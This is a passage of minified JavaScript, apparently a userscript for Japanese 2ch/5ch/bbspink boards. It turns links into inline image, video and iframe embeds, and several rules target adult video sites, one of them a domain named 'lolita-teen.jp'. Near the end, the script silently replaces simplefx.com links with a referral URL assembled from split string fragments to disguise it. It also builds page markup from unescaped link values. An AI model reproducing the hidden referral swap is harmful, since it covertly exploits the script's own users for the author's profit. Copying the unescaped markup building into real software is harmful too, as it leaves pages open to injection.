else if((1)&&(d[i].href.match(/(\/\/goo\.gl\/)/))&&(d[i].href.match(/(\/Xmaps?$|\#Xmaps?$|\/Xsk[yi]s?$|\#Xsk[yi]s?$|\/Xarts?$|\#Xarts$)/img))){d[i].innerHTML='<span class=photourl>'+d[i].innerHTML+'</span><iframe scrolling=no style="z-index:2 !important;background:black;display:inline-block !important;vertical-align:top !important;margin-top:3px !important;width:'+(WIDTH)+'px !important;height:'+Math.floor(WIDTH*(1+(16/9-1)*(0<d[i].href.indexOf('#sk'))))+'px !important;border:0px !important;" src="'+(d[i].href=d[i].href.replace(/(\/maps?|\/sk[yi]s?|\#sk[yi]s?|\/arts?|\#arts?|\/$)/img,''))+'"></iframe>'}
else if((1)&&(d[i].href.match(/(\/media\/File:\w+)(\.)(svg)(\:|\?|$)/))&&(!d[i].href.match(/(\.)(svg)(\.|\_)/))&&(!d[i].href.match(/(\.)(html?)(\.)(svg)/))){d[i].innerHTML='<span class=photourl>'+d[i].innerHTML+'</span><iframe scrolling=no style="display:block !important;width:'+(WIDTH)+'px !important;height:'+Math.floor(WIDTH)+'px !important;border:0px !important;" src="'+(d[i].href=d[i].href.replace('.html.svg','.html').replace('.htm.svg','.htm'))+'"></iframe>'}else if((d[i].href.match(/(\.)(jpeg|bmp|jpg|gif|gifv|png|webp|ico|svg|svgz|JPEG|BMP|JPG|GIF|GIFV|PNG|WEBP|ICO|SVG|SVGZ)(\:|\?|\#|\ |$)/))&&(!d[i].href.match(/(\.)(html?)(\.)(svg)/))){
d[i].href=d[i].href.replace(/^(http:\/\/vip\.video\d+)(\.fc2\.com\/)/img,'$1-thumbnail$2').replace(/^(http:\/\/vip\.video\d+\-thumbnail\.fc2\.com\/up\/)(thumb\/\d+\/\d+\/\w\/)(\d\d\d\d\d\d)(\d\d)(\w\w\w\w\w\w)(\w)(\w)(\.jpg)$/img,'$1pic/$3/$4/$6/$7/$3$4$5$6$7.jpg').replace('//18tv.x.fc2.com/?unsecure/','//pic.duga.jp/unsecure/');
if((d[i].href.match(/^(https?:\/\/pics\.dmm\.co\.jp\/)(digital\/video\/)([\w\-]+\/)([\w\-]+\.jpg)$/))){u=d[i].href.replace(/^(https?:\/\/pics\.dmm\.co\.jp\/)(digital\/video\/)([\w\-]+)(\/)([\w\-]+\.jpg)$/,'http://18tv.x.fc2.com/?digital/videoa/-/detail/=/cid=$3/18TV');}
if((0)&&(d[i].href.match(/^(https?:\/\/vip\.video\d+\-thumbnail\.fc2\.com\/up\/)(pic|thumb)(\/\d+\/\d+\/\w\/\w?\/?)(FCUT_|digest_|seek_|)(\d\d\d\d\d\d\d\d\w\w\w\w\w\w\w\w)(\.jpg|\.gif)(\?\d+|)$/))){u=''}if((''==u)){u=d[i].href.replace(/^(https?:\/\/vip\.video\d+\-thumbnail\.fc2\.com\/up\/)(pic|thumb)(\/\d+\/\d+\/\w\/\w?\/?)(FCUT_|digest_|seek_|)(\d\d\d\d\d\d\d\d\w\w\w\w\w\w\w\w)(\.jpg|\.gif)(\?\d+|)$/img,'http://video.fc2.com/content/$5');}if((0>d[i].innerHTML.indexOf('<img '))){g=d[i].href;if(0){if((g.match(PresetBlockImage))){g='';}else if(g.match(UserBlockImage)){g='';}}
t=(new Date());datetime=(t.getFullYear()*10000000000+(1+t.getMonth())*100000000+t.getDate()*1000000+t.getHours()*10000+t.getMinutes()*100+t.getSeconds()*1);datetime-=(datetime%10);g=g.replace(/(https?:\/\/hayabusa\.io\/abema\/channels\/time\/)(\d+)(\/[\w\-]+\.w\d+\.h\d+\.jpg)/,'$1'+datetime+'$3');
if(''==g){g='http://0.0.0.0/'}if(u.match(/^(http:\/\/images\-na\.ssl\-images\-amazon\.com\/images\/|http:\/\/www\.store\-express\.com\/item\/img\/)/)){u=u.replace('http://','https://');}if(g.match(/^(http:\/\/www\.store\-express\.com\/item\/img\/)/)){g=g.replace('http://','https://');}if(g.match(/(\/\/img01\.suumo\.com\/jj\/resizeImage\?src=)/)){g=g.split('&')[0]+'&w=600';}if(g.match(/(\/\/pic\.duga\.jp\/unsecure\/)/)){g=g.replace(/(jacket_240\.jpg)$/,'/jacket.jpg');}if((g.match(/(\/reSize\/)/))&&(g.match(/(\/\/img\.lolita-teen\.jp\/)/))){g=g.replace('/reSize/','/')}if((g.match(/(\/p\.jpg)/))&&(g.match(/(\/\/file\.u18\.tv\/)/))){g=g.replace('/p.jpg','/big.jpg')}if((g.match(/(\/pf_o1_)/))&&(g.match(/(\/\/image\.mgstage\.)(com|jp)(\/)/))){g=g.replace('/pf_o1_','/pb_e_')}if((g.match(/(ps\.jpg)$/))&&(g.match(/(\/\/pics\.dmm\.co\.jp|\/\/pics\.dmm\.com)/))){g=g.replace(/(ps.\jpg)$/,'pl.jpg')}if(5<=d[i].innerHTML.length){photo='photo';if((g.match(/^(https?:\/\/pics\.dmm\.co\.jp\/\w+\/\w+\/\w+\/\w+\/\w+)(ps\.jpg|pl\.jpg)$/))||(g.match(/^(https?:\/\/i?\.?imgur\.com\/)/))||(g.match(/^(https?:\/\/i\d*\.ytimg\.com\/vi\/[\w\-]+\/[a-z]+default.jpg)$/))){photo='photoY'}
d[i].href=d[i].href.replace('/maxresdefault.jpg','/mqdefault.jpg').replace(/(\/\d+)(_1280x720\.jpg)/img,'$1_295.jpg');d[i].innerHTML=d[i].innerHTML.replace('/maxresdefault.jpg','/mqdefault.jpg').replace(/(\/\d+)(_1280x720\.jpg)/img,'$1_295.jpg');u=u.replace('/maxresdefault.jpg','/mqdefault.jpg').replace(/(\/\d+)(_1280x720\.jpg)/img,'$1_295.jpg');if(g.match(/(\/abema\/channels\/time\/\d{14}\/)/)){if(0){if(datetime.substr(8,6)<=g.match(/(\d{14})/)[0].substr(8,6)){g=g.replace(/(\/time\/)(\d{8})(\d+\/)/img,'$1'+datetime1.substr(0,8)+'$3');}else{g=g.replace(/(\/time\/)(\d{8})(\d+\/)/img,'$1'+datetime.substr(0,8)+'$3');}}g=g.replace('.w320.h180.webp','.w640.h360.jpg').replace('.w320.h180.jpg','.w640.h360.jpg');}
d[i].innerHTML='<span class=photourl>'+d[i].innerHTML+'</span><a target=_blank href="'+u.replace(/(youtubetv|sopcast)(\.cafemix\.jp)/mg,'rainbow.cafemix.jp')+'"><img class='+photo+' style=position:absolute;z-index:999; onload=";if((90==this.width)&&(122==this.height)&&(0<this.src.indexOf(\'.dmm.co.jp/\'))&&(0<this.src.indexOf(\'jp-\'))){this.src=this.src.replace(\'jp-\',\'-\');}else if((0<this.src.indexOf(\'img.5ch.net/ico/\'))||(0<this.src.indexOf(\'img.2ch.sc/ico/\'))){this.className=\'ico2ch\';}else if(((20==this.width)||(120==this.width))&&(0<this.src.indexOf(\'/maxresdefault.jpg\'))){this.src=this.src.replace(\'/maxresdefault.jpg\',\'/mqdefault.jpg\');}else if(((90==this.width)&&((0<this.src.indexOf(\'ps.jpg\'))||(0<this.src.indexOf(\'pl.jpg\'))))||(((85==this.width)&&(85==this.height))&&(0<this.src.indexOf(\'.JPG\')))||(((161==this.width)&&(81==this.height))&&(this.src.indexOf(\'imgur.com/\')))||(((20==this.width)||(120==this.width))&&(0<this.src.indexOf(\'default.jpg\')))){this.height=0;this.className=\'photoE\';}else{this.className=\'photo\';if((this.width==this.height)&&(0<this.src.indexOf(\'default.jpg\'))){this.height=0;this.className=\'photoE\';}};" onerror="this.height=0;this.className=\'photoE\';" border=0 src="'+g.replace(/(\/\/bucchinews\.com\/thumbnail\.php\?file\=\/eroi_fukugyou_\d+\.jpg)/img,'$1&size=article_large')+'"><b><font></font></b><img class='+photo+' onload=";if((90==this.width)&&(122==this.height)&&(0<this.src.indexOf(\'.dmm.co.jp/\'))&&(0<this.src.indexOf(\'jp-\'))){this.src=this.src.replace(\'jp-\',\'-\');}else if((0<this.src.indexOf(\'img.5ch.net/ico/\'))||(0<this.src.indexOf(\'img.2ch.sc/ico/\'))){this.className=\'ico2ch\';}else if(((20==this.width)||(120==this.width))&&(0<this.src.indexOf(\'/maxresdefault.jpg\'))){this.src=this.src.replace(\'/maxresdefault.jpg\',\'/mqdefault.jpg\');}else if(((90==this.width)&&((0<this.src.indexOf(\'ps.jpg\'))||(0<this.src.indexOf(\'pl.jpg\'))))||(((85==this.width)&&(85==this.height))&&(0<this.src.indexOf(\'.JPG\')))||(((161==this.width)&&(81==this.height))&&(this.src.indexOf(\'imgur.com/\')))||(((20==this.width)||(120==this.width))&&(0<this.src.indexOf(\'default.jpg\')))){this.height=0;this.className=\'photoE\';}else{this.className=\'photo\';if((this.width==this.height)&&(0<this.src.indexOf(\'default.jpg\'))){this.height=0;this.className=\'photoE\';}};" onerror="this.height=0;this.className=\'photoE\';" border=0 src="'+g.replace(/(\/\/bucchinews\.com\/thumbnail\.php\?file\=\/eroi_fukugyou_\d+\.jpg)/img,'$1&size=article_large')+'"></a>';;;if((1)&&(d[i-1].href.match(/(\.)(mp4|webm|ogv|gifv)(\:|\?|$)/))&&(!d[i].href.match(/(\.)(mp4|webm|ogv|gifv)(\:|\?|$)/))){d[i+1].href=g.replace(/(\/\/bucchinews\.com\/thumbnail\.php\?file\=\/eroi_fukugyou_\d+\.jpg)/img,'$1&size=article_large');i++;};;;}}u=''}
else if((d[i].href.match(/(\?&|\?\?|\?\?$)/))&&(d[i].href.match(/(^h?t?t?p?s?:?)(\/\/\w*\.?youtube\.com\/watch\?&?feature=[\w\-]+&a?m?p?;?v=|\/\/\w*\.?youtube\.com\/watch\?&?v=|\/\/\w*\.?youtube\.com\/v\/|\/\/\w*\.?youtu\.be\/|\/\/\w*\.?youtube\.com\/embed\/)([\w\-]{11})(.*$|$)/))){if(d[i].href.match(/(\/\/\w*\.?youtube\.com\/embed\/)/)){u=d[i].href;}else{u=d[i].href.replace('?t=','&t=').replace('??','?');d[i].href=d[i].href.replace('??','?');}}
else if((!d[i].href.match(/(\?&|\?\?|\?\?$)/))&&(d[i].href.match(/(^h?t?t?p?s?:?)(\/\/\w*\.?youtube\.com\/watch\?&?feature=[\w\-]+&a?m?p?;?v=|\/\/\w*\.?youtube\.com\/watch\?&?v=|\/\/\w*\.?youtube\.com\/v\/|\/\/\w*\.?youtu\.be\/|\/\/\w*\.?youtube\.com\/embed\/)([\w\-]{11})(.*$|$)/))){if(d[i].href.match(/(\/\/\w*\.?youtube\.com\/embed\/)/)){u=d[i].href;}else{if(u==u){u=d[i].href.replace('?t=','&t=').replace('??','?');d[i].href=d[i].href.replace('??','?');}}
if(0>d[i].innerHTML.indexOf('<img ')){g=d[i].href.replace(/(^h?t?t?p?s?:?)(\/\/\w*\.?youtube\.com\/watch\?&?feature=[\w\-]+&a?m?p?;?v=|\/\/\w*\.?youtube\.com\/watch\?&?v=|\/\/\w*\.?youtube\.com\/v\/|\/\/\w*\.?youtu\.be\/|\/\/\w*\.?youtube\.com\/embed\/)([\w\-]{11})(.*$|$)/img,'$1//i.ytimg.com/vi/$3/mqdefault.jpg');
if(''==g){g='http://0.0.0.0/'}if(5<=d[i].innerHTML.length){um=u;uu=u;if(0>uu.indexOf('youtubetv.cafemix.jp/?sop:')){ut='';if(uu.match(/(\?|\&)(t=)(\d*h?\d*m?\d*s?)/)){ut=uu.match(/(\?|\&)(t=)(\d*h?\d*m?\d*s?)/)[0];};if(uu.match(/(\?|\&)(list=)([\w\-]{13,})/)){uu=(uu.match(/([\w\-]{11})/)[0]+'!'+uu.match(/(\?|\&)(list=)([\w\-]{13,})/)[0].substr(6))}else{uu=uu.match(/([\w\-]{11})/)[0];uu=uu+'&RD'+uu;};uu+=ut;if(0){uu='http://youtubetv.cafemix.jp/?sop:v/'+uu}else if(0){uu='http://18tv.x.fc2.com/?v/'+uu.replace('!','&')+'/18TV'}else{uu='http://youtu.be/'+uu.replace('?','&').replace('!','&').replace('&','?list=');}}
if(d[i].href.match(/(\/\/\w*\.?youtube\.com\/embed\/)/)){uu=(um.replace('?','&').replace(/(&loop=\d*|&autoplay=\d*)/img,'')+'&autoplay=1&loop=1').replace('&','?')}d[i].innerHTML='<span class=photourl>'+d[i].innerHTML+'</span><a target=youtubetv href="'+uu+'"><img class=photoY style=position:absolute;z-index:999; onload="if(((20==this.width)||(120==this.width))&&(0<this.src.indexOf(\'/maxresdefault.jpg\'))){this.src=this.src.replace(\'/maxresdefault.jpg\',\'/mqdefault.jpg\');}else if(((20==this.width)||(120==this.width))&&(0<this.src.indexOf(\'default.jpg\'))){this.height=0;this.className=\'photoE\';}else{this.className=\'photo\';if((this.width==this.height)&&(0<this.src.indexOf(\'default.jpg\'))){this.height=0;this.className=\'photoE\';}}" onerror="this.height=0;this.className=\'photoE\';" border=0 src="'+g+'"><b><font></font></b><img class=photoY onload="if(((20==this.width)||(120==this.width))&&(0<this.src.indexOf(\'/maxresdefault.jpg\'))){this.src=this.src.replace(\'/maxresdefault.jpg\',\'/mqdefault.jpg\');}else if(((20==this.width)||(120==this.width))&&(0<this.src.indexOf(\'default.jpg\'))){this.height=0;this.className=\'photoE\';}else{this.className=\'photo\';if((this.width==this.height)&&(0<this.src.indexOf(\'default.jpg\'))){this.height=0;this.className=\'photoE\';}}" onerror="this.height=0;this.className=\'photoE\';" border=0 src="'+g+'"></a> ';}}u=''}
else if((!d[i].href.match(/(\?&|\?\?|\?\?$)/))&&(d[i].href.match(/(^h?t?t?p?s?:?)(\/\/www\.?nicovideo\.jp\/watch\/\w\w)(\d+)($)/))){if(u==u){u=d[i].href}if(0>d[i].innerHTML.indexOf('<img ')){g=d[i].href.replace(/(^h?t?t?p?s?:?)(\/\/\w+\.?nicovideo\.jp\/watch\/\w\w)(\d+)($)/img,'$1//tn-skr2.smilevideo.jp/smile?i=$3');if(''==g){g='http://0.0.0.0/'}if(5<=d[i].innerHTML.length){d[i].innerHTML='<span class=photourl>'+d[i].innerHTML+'</span><a target=_blank href="'+u+'"><img class=photo style=position:absolute;z-index:999; onerror=this.height=0;this.className=\'photoE\'; border=0 src="'+g+'"><b><font></font></b><img class=photo onerror=this.height=0;this.className=\'photoE\'; border=0 src="'+g+'"></a> ';}}u=''}
else if((!d[i].href.match(/(\?&|\?\?|\?\?$)/))&&(d[i].href.match(/(^h?t?t?p?s?:?)(\/\/www\.?nicovideo\.jp\/watch\/)(\d+)(\/\w\w)(\d+)($)/))){if(u==u){u=d[i].href}if(0>d[i].innerHTML.indexOf('<img ')){g=d[i].href.replace(/(^h?t?t?p?s?:?)(\/\/\w+\.?nicovideo\.jp\/watch\/)(\d+)(\/\w\w)(\d+)($)/img,'$1//tn-skr2.smilevideo.jp/smile?i=$5');if(''==g){g='http://0.0.0.0/'}if(5<=d[i].innerHTML.length){d[i].innerHTML='<span class=photourl>'+d[i].innerHTML+'</span><a target=_blank href="'+u+'"><img class=photo style=position:absolute;z-index:999; onerror=this.height=0;this.className=\'photoE\'; border=0 src="'+g+'"><b><font></font></b><img class=photo onerror=this.height=0;this.className=\'photoE\'; border=0 src="'+g+'"></a> ';}}u=''}
else{if((!d[i].innerHTML.match(/^(&gt;&gt;)/))&&(!d[i].href.match(/(\/\/0\.0\.0\.0\/?)/))&&(d[i].href.match(/(^https?:\/\/)/))){if((0>u.indexOf('.atspace.tv/'))&&(!d[i].href.match(/(youtube\.com\/watch|video\.fc2\.com\/content|nicovideo\.jp\/watch)/))){u=d[i].href}if((0<u.indexOf('.atspace.tv/'))&&(d[i].href.match(/(youtube\.com\/watch|video\.fc2\.com\/content|nicovideo\.jp\/watch)/))){d[i].innerHTML=''}}else{u=''}};
d[i].href=d[i].href.split('&amp;').join('&').replace(/^(https?:\/\/www\.dmm\.co\.jp\/)(\w+\/\w+\/\-\/detail\/=\/cid=)(\w+)(\/|\/\w+[\-\+]\d*)$/img,'http://18tv.x.fc2.com/?$2$3/18TV');};};if(d=document.getElementsByTagName(dd)){for(i=d.length-1;0<=i;i--){if(1){d[i].innerHTML=d[i].innerHTML.replace('Perform NONstop ','Perform NONstop<br> ').replace('PA600 Perform IV ','PA600 Perform IV<br> ').replace('Super D- "Jingle Bells" ','Super D- "Jingle Bells"<br> ').replace('はオーディオシミュレーターを開発すべき ','はオーディオシミュレーターを開発すべき<br> ');} d[i].innerHTML=d[i].innerHTML.replace(/(<br\s+clear="?both"?>\s*)(<br>)/img,'$1').replace(/(>)(\s*&amp;|[\&\?]+)(\w[\w\-\=\#\&\?]+)/img,'$1').replace(/(<a )/img,'<a target=_blank onfocus=this.blur(); ').replace(/(>;&gt;)(\d+)/img,'>&gt;&gt;$2').replace(/(>[ ]+)/img,'> ');}}if(d=document.getElementsByTagName('h1')){for(i=0;d.length>i;i++){d[i].innerHTML=d[i].innerHTML.replace(/^(;&lt;)/,'&lt;&lt;');}}
if(d=document.getElementsByTagName('div')){d[0].outerHTML=d[0].outerHTML.replace('fixed;',';')}if(d=document.getElementsByTagName('a')){for(i=0;d.length>i;i++){d[i].href=d[i].href.replace(/(\.5ch\.net)(\/\w+\/)(read\.cgi\/\w+\/\d+)/,'$1/test/$3');if((d[i].href.match(/(\?\&list=|\/\?sop:)/))&&(d[i+1].innerHTML.match(/(\/\/youtu\.be\/|\/\/w*\.?youtube\.com\/embed\/)/))&&(d[i+2].innerHTML.match(/(\/\/i\d*\.ytimg\.com\/vi\/)/))){d[i+2].href=d[i].href;d[i+1].href=d[i].href;i=i+2;}d[i].href=d[i].href.replace(/(\.2ch\.net\/)/,'.5ch.net/');d[i].href=d[i].href.replace(/^(https:\/\/)([\w\-]+\.5ch\.net\/)/img,'http://$2').replace(/(%81@)$/img,'');if(d[i].href.match(/^(javascript|http:\/\/[\w\-]*\.?open2ch\.net\/|http:\/\/[\w\-]*\.?2ch\.sc\/|http:\/\/[\w\-]*\.?5ch\.net\/|http:\/\/[\w\-]*\.?bbspink\.com\/)/i)){d[i].target='_top';}if(d[i].href.match(/(img\.2ch\.sc\/ico\/)/)){d[i].href=d[i].href.replace(/(img\.2ch\.sc\/ico\/)/img,'img.5ch.net/ico/');}if(d[i].href.match(/^(https?:\/\/simplefx\.com\/?\??)$/)){d[i].href='https://simp'+'lefx.c'+'om/?sf'+'x-r=a61c'+'bbf0-ac'+'b8-42'+'d4-b0'+'27-c87e'+'cff0'+'32d5'}}}nana='ご冗談でしょう?名無しさん';nasw=0;if(d=document.getElementsByTagName('b')){for(i=0;d.length>i;i++){if(1>=d[i].innerHTML.length){;}else if(d[i].innerHTML.match(/(<|>)/)){;}else if(d[i].innerHTML.match(/(名無し)/)){nasw=1;nana=d[i].innerHTML;}else if(nasw){d[i].innerHTML=nana;}}}setTimeout(x="if((d=document.getElementsByTagName('input'))){for(i=0;d.length>i;i++){if((''==d[i].value)&&(d[i].name.match(/(mail)/img))){if(location.href.match(/(bbspink\.com)/)){d[i].value='sage';}}}}",3000);}}if((0)&&(location.href.match(/(\/test\/read\.cgi\/|:\/\/next5ch\.net\/\w+\/\d+)/))){setTimeout("window.scroll(0,5000000);",3000);};};};};})();